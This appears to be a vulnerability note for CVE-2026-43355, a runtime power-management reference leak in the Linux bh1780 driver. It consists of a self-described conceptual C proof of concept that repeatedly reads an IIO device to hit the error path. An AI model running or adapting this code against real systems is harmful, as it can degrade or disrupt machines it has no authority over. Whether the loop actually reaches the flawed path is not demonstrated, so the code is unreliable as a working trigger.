CVE-2026-43355 Linux内核bh1780驱动资源泄漏漏洞

/* * PoC for CVE-2026-43355 (Conceptual) * This code attempts to trigger the error path in the bh1780 driver. * It assumes the attacker has local access and permission to read the device. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define DEVICE_PATH "/dev/iio:device0" // Example path, may vary int main() { int fd; char buffer[256]; ssize_t bytes_read; printf("[+] Attempting to open %s...\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDONLY); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Triggering error path...\n"); // Loop to trigger the read operation repeatedly. // Depending on hardware state, reads might fail or hit the error path. for (int i = 0; i < 1000; i++) { bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { // Error encountered in driver logic. // Vulnerable driver skips pm_runtime_put_autosuspend here. printf("Iteration %d: Read failed (errno=%d), potential leak triggered.\n", i, errno); } } close(fd); printf("[+] Exploitation attempt finished.\n"); return 0; }